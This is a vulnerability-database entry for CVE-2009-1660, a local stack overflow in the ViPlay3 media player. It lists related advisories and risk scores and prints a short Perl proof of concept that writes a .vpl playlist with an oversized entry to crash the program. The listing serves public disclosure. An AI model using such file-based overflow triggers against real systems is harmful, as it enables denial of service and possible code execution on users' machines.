ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC

🗓️ 08 May 2009 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 31 Views

ViPlay3 3.00 (.vpl) buffer-overflow vulnerability for system access and Do

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2009-1660	8 May 200900:00	–	circl
CVE	CVE-2009-1660	17 May 200916:00	–	cve
Cvelist	CVE-2009-1660	17 May 200916:00	–	cvelist
EUVD	EUVD-2009-1655	7 Oct 202500:30	–	euvd
NVD	CVE-2009-1660	18 May 200912:00	–	nvd
OpenVAS	ViPlay .vpl File Stack Overflow Vulnerability	26 May 200900:00	–	openvas
OpenVAS	ViPlay .vpl File Stack Overflow Vulnerability	26 May 200900:00	–	openvas
Prion	Stack overflow	18 May 200912:00	–	prion

<html><body><p>#!/usr/bin/perl
#
# ViPlay3 &lt;= 3.00 (.vpl) Local Stack Overflow PoC
#
# Product web page: http://www.urusoft.net/
# Tested on Microsoft Windows XP Professional SP3 (English)
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# http://www.zeroscience.org/
# 08.05.2009

$b= "[General]\r\n".
    "Title=Proof of Concept\r\n".
    "Author=LiquidWorm\r\n".
    "Comments=2009\r\n".
    "Version=1.0\r\n".
    "[Files]\r\n";
    "Count=800000\r\n".
    "LastPlayed=0\r\n";
$c= "1=" . "A" x 800000 . "\r\n";
open a, "&gt;./lqwrm.vpl";
print a $b.$c;
close a;
print "\n- Done!\n";</p></body></html>

08 May 2009 00:00Current

6.2Medium risk

Vulners AI Score6.2

CVSS 29.3

EPSS0.23329